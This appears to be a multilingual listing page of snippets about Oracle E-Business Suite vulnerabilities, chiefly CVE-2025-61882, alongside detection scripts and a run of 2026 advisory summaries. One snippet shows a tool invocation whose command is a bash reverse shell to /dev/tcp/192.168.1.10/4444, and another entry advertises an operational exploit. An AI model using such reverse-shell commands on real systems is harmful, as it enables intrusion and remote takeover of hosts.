CVE-2025-61882-CVE-2025-61884

CVE-2025-61882 与 CVE-2025-61884 编辑说明：Oracle 刚刚披露了一个新漏洞 CVE-2025-61884，该漏洞的检测脚本可在此仓库中找到，原始来源为：https://gist.github.com/rxerium/6c70bc6b72fc0d1365c85937d35d9550。 引用自 Oracle 安全公告： 本安全公告针对 Oracle E-Business Suite 中的漏洞 CVE-2025-61882。该漏洞可远程利用且无需身份验证，即攻击者可通过网络利用该漏洞，无需提供用户名和密码。若成功利用，该漏洞可能导致远程代码执行。...

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882 Oracle E-Business Suite CVE-2025-61882 向け検出アーティファクト生成ツール 技術的な詳細は、ブログ記事 を参照してください 動作中の検出 root@kitploit: python3 watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py --command 'bash -i & /dev/tcp/192.168.1.10/4444 0&1' --platform linux --target...

cve-2025-61882-oracle_ebs_rce_reproduction

CVE-2025-61882 — Oracle E-Business Suite 인증되지 않은 원격 코드 실행 CVSS 9.8 중요 개요 CVE-2025-61882는 Oracle E-Business Suite EBS에서 발견된 인증되지 않은 원격 코드 실행 취약점으로, Concurrent Processing 및 BI Publisher 구성 요소에 영향을 미칩니다. 이 결함으로 인해 HTTP를 통해 네트워크 접근이 가능한 인증되지 않은 공격자가 대상 시스템을 완전히 장악할 수 있습니다. 이 취약점은 Clop 랜섬웨어 그룹을 포함한 여러...

CVE-2025-53072-CVE-2025-62481

CVE-2025-53072 & CVE-2025-62481 Vulnerabilità nel prodotto Oracle Marketing di Oracle E-Business Suite componente: Marketing Administration. Come funziona questo metodo di rilevamento? Questo template Nuclei rileva le istanze di Oracle E-Business Suite vulnerabili a CVE-2025-53072 e CVE-2025-6248...

Oracle E-Business Suite 12.2.3 -12.2.11 - Remote Code Execution

Oracle E-Business Suite 12.2.3 through 12.2.11 is susceptible to remote code execution via the Oracle Web Applications Desktop Integrator product, Upload component. An attacker with HTTP network access can execute malware, obtain sensitive information, modify data, and/or gain full control over a...

CVE-2025-61882-CVE-2025-61884

CVE-2025-61882 & CVE-2025-61884 AGGIORNAMENTO: Oracle ha appena divulgato una nuova vulnerabilità CVE-2025-61884, lo script di rilevamento per tale vulnerabilità può essere trovato in questo repository o originalmente qui:https://gist.github.com/rxerium/6c70bc6b72fc0d1365c85937d35d9550. Come cita...

CVE-2025-61882-Oracle-EBS

Oracle E-Business Suite — CVE-2025-61882 Questo repository contiene gli artefatti di ricerca di ZeroZenX e un'implementazione completamente operativa dell'exploit per CVE-2025-61882, fornita per supportare la ricerca difensiva, la risposta agli incidenti, l'ingegneria del rilevamento e la verific...

Enterprise-Information-Security-Risk-Assessment-Oracle-E-Business-Suite-Case-Study

Sicurezza delle Informazioni: Conformità GDPR e Risposta agli Incidenti Un framework completo di conformità per la sicurezza e la privacy per sistemi di sorveglianza biometrica ad alto rischio CCTV, tecnologia di riconoscimento facciale e tracciamento dei contatti centralizzato, inclusa un'analis...

Oracle E-Business Suite (August 2026 CSPU)

The versions of Oracle E-Business Suite installed on the remote host are affected by multiple vulnerabilities as referenced in the August 2026 CSPU advisory. - Vulnerability in the Oracle Payments product of Oracle E-Business Suite component: File Transmission. Supported versions that are affecte...

vulnerabilities present in Oracle E-Business Suite

Oracle has identified vulnerabilities in various components of the Oracle E-Business Suite, including General Ledger, Payments, Workflow, Sales, Purchasing, Call Center Technology, and other modules within versions 12.2.3 through 12.2.15. These vulnerabilities enable attackers with low to high...

CVE-2026-70945

Vulnerability in the Oracle Payroll product of Oracle E-Business Suite component: Internal Operations. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll. While the...

CVE-2026-70947

Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite component: Other issue. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Purchasing. Successful...

CVE-2026-70931

Vulnerability in the Oracle Workflow product of Oracle E-Business Suite component: Workflow Notification Mailer. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Workflow...

CVE-2026-70926

Vulnerability in the Oracle Workflow product of Oracle E-Business Suite component: Workflow Notification Mailer. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via SMTP to compromise Oracle Workflow...

CVE-2026-70845

Vulnerability in the Oracle Loans product of Oracle E-Business Suite component: Internal Operations. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Loans. Successful attacks...

CVE-2026-70844

Vulnerability in the Oracle Loans product of Oracle E-Business Suite component: Internal Operations. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Loans. Successful attacks...

CVE-2026-70839

Vulnerability in the Oracle Financials for EMEA product of Oracle E-Business Suite component: Internal Operations. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Financials...

CVE-2026-70833

Vulnerability in the Oracle Landed Cost Management product of Oracle E-Business Suite component: Internal Operations. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Landed...

CVE-2026-70829

Vulnerability in the Oracle Process Manufacturing Systems product of Oracle E-Business Suite component: Internal Operations. Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle...

CVE-2026-70815

Vulnerability in the Oracle Internet Procurement Connector product of Oracle E-Business Suite component: Internal Operations. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle...